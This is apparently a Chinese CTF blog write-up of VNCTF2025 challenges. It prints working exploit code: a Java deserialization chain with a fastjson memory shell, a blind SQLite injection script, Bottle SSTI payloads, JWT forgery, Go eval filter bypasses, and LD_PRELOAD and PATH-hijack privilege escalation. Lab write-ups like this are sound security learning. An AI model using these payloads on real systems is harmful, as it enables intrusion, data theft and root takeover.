目录

  1. 1. 前言
  2. 2. 签到
    1. 2.1. 欢迎!
  3. 3. Web
    1. 3.1. javaGuide(复现)
    2. 3.2. 奶龙回家(复现)
    3. 3.3. 学生姓名登记系统(复现)
    4. 3.4. Gin(复现)
      1. 3.4.1. jwt伪造
      2. 3.4.2. Goeval RCE
      3. 3.4.3. 预期RCE
      4. 3.4.4. 环境变量提权
    5. 3.5. ez_emlog(Unsolved)
  4. 4. Misc
    1. 4.1. VN_Lang

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

VNCTF2025

2025/2/8 CTF线上赛 提权 FastJson Bottle
  |     |   总文章阅读量:

前言

完 全 败 北

去年是遗憾,今年是惨败

第三年了,本以为今年能打出一个比较满意的成绩,结果web直接爆零了

参考:

https://www.cnblogs.com/LAMENTXU/articles/18705991

http://www.bmth666.cn/2025/02/10/2025-VNCTF-ez-emlog%E5%A4%8D%E7%8E%B0/


签到

欢迎!

做不出可以问DeepSeek R1

给了个sed命令执行, 我们可控的位置在替换字符和读取的文件名

R1启动!使用&保留匹配的内容

sed 's/{.*}/&/g' /proc/self/environ

flag:VNCTF{wElcome-ANd_H4VE-@-g0OD_TIme_Qfx0BkjJU3SrA39agEv7P3f}


Web

javaGuide(复现)

过滤:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName();
    String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
    int var5 = denyClasses.length;
    String[] var5 = denyClasses;
    int var6 = denyClasses.length;

    for(int var7 = 0; var7 < var6; ++var7) {
        String denyClass = var5[var7];
        if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}

控制器:

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    @ResponseBody
    public String index() {
        return "hello";
    }

    @RequestMapping({"/deser"})
    @ResponseBody
    public String deserialize(@RequestParam String payload) {
        byte[] decode = Base64.getDecoder().decode(payload);

        try {
            MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
            myObjectInputStream.readObject();
            return "ok";
        } catch (InvalidClassException var4) {
            return var4.getMessage();
        } catch (Exception var5) {
            var5.printStackTrace();
            return "exception";
        }
    }
}

很明显是要在不用 com.sun.org.apache.xalan.internal.xsltc.trax , javax.management , com.fasterxml.jackson 的情况下打java反序列化,这ban的都是 templates 和 jackson 链,还有 BadAttributeValueExpException 这个入口

看一下有什么依赖

image-20250208104311548

没cc也是java反序列化的第一步吗(

fastjson1.2.83不出网,还是个高版本要打内存马

到现在我的java还是依托,太难了,学一点忘一点。。


好吧此事在 CISCN2024solonMaster 中亦有记载,这次选择 eventListenerList 链:https://xz.aliyun.com/news/15977

使用 eventListenerList 触发 toString

EventListenerList
UndoManager#toString()
Vector#toString()

BadAttributeValueExpException 没了就 XString,templates 没了就得二次反序列化

不出网打内存马,springboot 2.7.11 打那个 2.6.0+ 版本的内存马即可,注意包名

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Vector;

public class EXP {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.memTemplatesImpl();

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(tpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object,Object> hashMap = makeMap(h1,h2);

        HashMap hashMap1 = new HashMap();
        hashMap1.put(tpl,hashMap);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject=new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));


        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");
        vector.add(jsonArray1);
        Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        HashMap hashMap2 = new HashMap();
        hashMap2.put(vector,eventListenerList);

        String barr = Utils.Serialize(hashMap2);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

payload要发两次才能打进去,第一次会报default constructor not found. class java.security.SignedObject

当多次进行反序列化时,FastJson 会将上一次没有成功的类缓存起来,之后的反序列化就不会再次产生上面的错误,所以只需要多打一次即可:https://www.freebuf.com/articles/network/369855.html

image-20250221221950564


奶龙回家(复现)

本题考点是注入攻击,无需进行字典爆破操作

就一个登录,账密处测试闭合:1"回显 “账号密码错误!!”,1'回显 “发生了某种错误??”

fuzz 发现 ban 了=,sleep,空格,union

然后使用1'闭合后跟#注释时返回 发生了某种错误??,用--注释返回 账号密码错误!!

说明使用--才实现了注释,由此可猜测是 sqlite

注意 sqlite 里没有 sleep 和 if 函数,要测试盲注参考:https://www.freebuf.com/articles/network/324785.html

-1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(300000000)/**/else/**/0/**/end)--

成功延时

那么直接上脚本打:

import requests
import time

url = 'http://node.vnteam.cn:47261/login'
flag = ''
for i in range(1, 500):
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        time.sleep(0.2)
        payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(name))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
        # payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
        # payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
        datas = {"username": "1", "password": payload}
        # print(datas)
        start_time = time.time()
        res = requests.post(url=url, json=datas)
        end_time = time.time()
        spend_time = end_time - start_time
        if spend_time >= 0.4:  #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    flag = flag + chr(mid)
    print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

表 users,sqlite_sequence

账密 nailong:woaipangmao114514

image-20250212213420233

访问得到flag


学生姓名登记系统(复现)

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

ssti

每行长度不超过23

不解析 lipsum,config,url_for,每一行必须都能解析才能解析ssti,说明不是jinja

ban 了 eval,不让 import


题目描述专门强调用单文件框架,搜一下python单文件框架可以找到 Bottle 框架,手册:https://www.osgeo.cn/bottle/

默认的模板渲染:https://www.osgeo.cn/bottle/stpl.html

image-20250212220137623

用模板函数测试一下

image-20250212220259810

验证成功

因为每行有限制长度,那么思路就是利用这个set实现拼接

但是另一个问题是这里光 {{setdefault('','')}} 就占了 21 个长度,我们不可能直接构造


注意到这里python版本是3.12

image-20250212221016428

python3.8 后引入了海象运算符:=,此事在 pyjail 里亦有记载

于是构造payload:

{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

环境变量里找到flag

image-20250212221623571


Gin(复现)

后面时间全梭哈这题了

注册登录后有一个文件上传的接口

jwt伪造

上传后有一个文件下载的接口,可以目录穿越下载 ../config/key.go

package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

本地生成key

package main

import (
	"fmt"
	"math/rand"
)


func GenerateKey() string {
	rand.Seed(2025)
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
	fmt.Println(key)
	return key
}

func main() {
	GenerateKey()
}

得到key:122r00t32l

然后伪造 jwt 的 username 为admin即可登录admin

image-20250208220615435

Goeval RCE

来到admin的代码执行

func Eval(c *gin.Context) {
	code := c.PostForm("code")
	log.Println(code)
	if code == "" {
		response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
		return
	}
	log.Println(containsBannedPackages(code))
	if containsBannedPackages(code) {
		response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
		return
	}
	tmpFile, err := ioutil.TempFile("", "goeval-*.go")
	if err != nil {
		log.Println("Error creating temp file:", err)
		response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
		return
	}
	defer os.Remove(tmpFile.Name())

	_, err = tmpFile.WriteString(code)
	if err != nil {
		log.Println("Error writing code to temp file:", err)
		response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
		return
	}

	cmd := exec.Command("go", "run", tmpFile.Name())
	output, err := cmd.CombinedOutput()
	if err != nil {
		log.Println("Error running Go code:", err)
		response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
		return
	}

	response.Success(c, gin.H{"result": string(output)}, "success")
}
func containsBannedPackages(code string) bool {
	importRegex := `(?i)import\s*\((?s:.*?)\)`
	re := regexp.MustCompile(importRegex)
	matches := re.FindStringSubmatch(code)
	imports := matches[0]
	log.Println(imports)
	if strings.Contains(imports, "os/exec") {
		return true
	}

	return false
}

ban 了 os/exec 依赖

尝试读文件:

package main

import (
	"fmt"
	"os"
	"syscall"
)

func main() {
	file, err := os.Open("/flag")
	if err != nil {
		fmt.Println("Error opening file:", err)
		return
	}
	defer file.Close()

	buffer := make([]byte, 1024)
	n, err := syscall.Read(int(file.Fd()), buffer)
	if err != nil {
		fmt.Println("Error reading file:", err)
		return
	}

	fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}

/flag 的内容是VNCTF2025!!!

尝试用cgo执行命令

package main

/*
#include <stdio.h>
#include <stdlib.h>

void execute() {
    system("ls />/GinTest/uploads/1.txt");
}
*/
import (
    "C"
)

func main() {
	C.execute()
}

返回go: no Go source files,寄了

看下环境变量

SHELL=/bin/bash
SUDO_GID=0
HOSTNAME=ret2shell-47-1447
SUDO_COMMAND=/bin/bash
SUDO_USER=root
PWD=/GinTest
LOGNAME=ctfer
HOME=/home/ctfer
TERM=unknown
USER=ctfer
GOPROXY=https://proxy.golang.org,direct
SHLVL=1
PATH=/usr/local/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin
SUDO_UID=0
MAIL=/var/mail/ctfer
OLDPWD=/home/ctfer
_=./GinTest

尝试只使用 os/exec 命令执行:

package main

import "os/exec"


func main() {
    cmd := exec.Command("ls />/GinTest/uploads/1.txt")
    _, err := cmd.Output()
    if err != nil {
        return
    }
}

返回500,最后发现import这里必须要有()

发现可以拉 goeval 依赖来命令执行

package main

import (
	"fmt"
	"github.com/PaulXu-cn/goeval"
)

func main() {
	Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
	eval, _ := goeval.Eval("", "fmt.Println(\"\")", Package)
	fmt.Println(string(eval))
}

image-20250208204029737

预期RCE

预期应该是正则只匹配第一个 import,那么多一个 import 就行

package main

import (
    "fmt"
)
import (
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "ls")
	out, err := cmd.CombinedOutput()
    fmt.Println(string(out))
    fmt.Println(err)
}

然后尝试find提权

/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat

image-20250208205327639

?base64 dump 这个文件下来反编译看一下

image-20250208210120521

🤔

首先会执行 setuid(0)setgid(0)进行提权

看一下进程:

UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 13:07 ?        00:00:00 /bin/bash /root/start.sh
mysql       41     1  0 13:07 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql      188    41  0 13:07 ?        00:00:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --log-error=/var/log/mysql/error.log --pid-file=ret2shell-47-1447.pid
root       273     1  0 13:07 ?        00:00:00 sudo -u ctfer -i
ctfer      274   273  0 13:07 ?        00:00:00 -bash
ctfer      276   274  0 13:07 ?        00:00:00 ./GinTest
ctfer     2739   276  8 13:12 ?        00:00:00 go run /tmp/goeval-2979922160.go
ctfer     2906  2739  0 13:12 ?        00:00:00 /tmp/go-build1797982035/b001/exe/goeval-2979922160
ctfer     2911  2906 23 13:12 ?        00:00:00 go run /tmp/cremquog/main.go
ctfer     3094  2911  0 13:12 ?        00:00:00 /tmp/go-build898556976/b001/exe/main
ctfer     3099  3094  0 13:12 ?        00:00:00 ps -ef

没有需要注意的

想了一下,可能需要劫持命令,准备so文件

exec.Command(\"/bin/sh\",\"-c\",\"export LD_PRELOAD=/tmp/evil.so;/.../Cat;id\")

失败

参考:https://pankas.top/2022/12/12/rctf-web/#%E7%A4%BA%E4%BE%8B

image-20250208233641216

但是 /etc 文件夹没写权限,寄


结合ida反编译的结果,考虑劫持setuid

hook.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int setuid(__uid_t __uid) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    payload();
}

image-20250209000601002

本地通了远程没通。。。


环境变量提权

参考:https://www.cnblogs.com/1vxyz/articles/17659773.html

原来直接环境变量劫持 cat 就能实现提权,因为这里没用 /bin/cat 而是 cat

直接写个 shell 到 /tmp 下,然后给执行权限写入环境变量,注意这里读取flag要用除了cat以外的命令

然后在没弹shell的环境下,写入环境变量这一步和执行命令这一步需要一起进行,因为每次执行代码都相当于开启一个新的bash,不继承环境变量

echo -e '#!/bin/bash\ntac /root/*' > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH && /.../Cat

image-20250212190120892


ez_emlog(Unsolved)

install.php
mt_rand的安全问题


Misc

VN_Lang

给了个rust写的程序和源代码

// 渲染文本
// Fake Flag lol
let text1 = "VNCTF{VNCTF";
let text2 = "VNCTFVNCTF";
let text3 = "CTFVNCTFVN";
let text4 = "VNFTCVNFTC";
let text5 = "CTFVNCTFVN}";
let (width, height) = window.get_size();

只需要知道这里的flag是明文存储在程序就行

ida shift+f12 秒了

image-20250208110202323

VNCTF{byRXtpYEF6j8bFCQ7Nf7tZ8EDWcG8Xl4kKXds1pOTF1dV}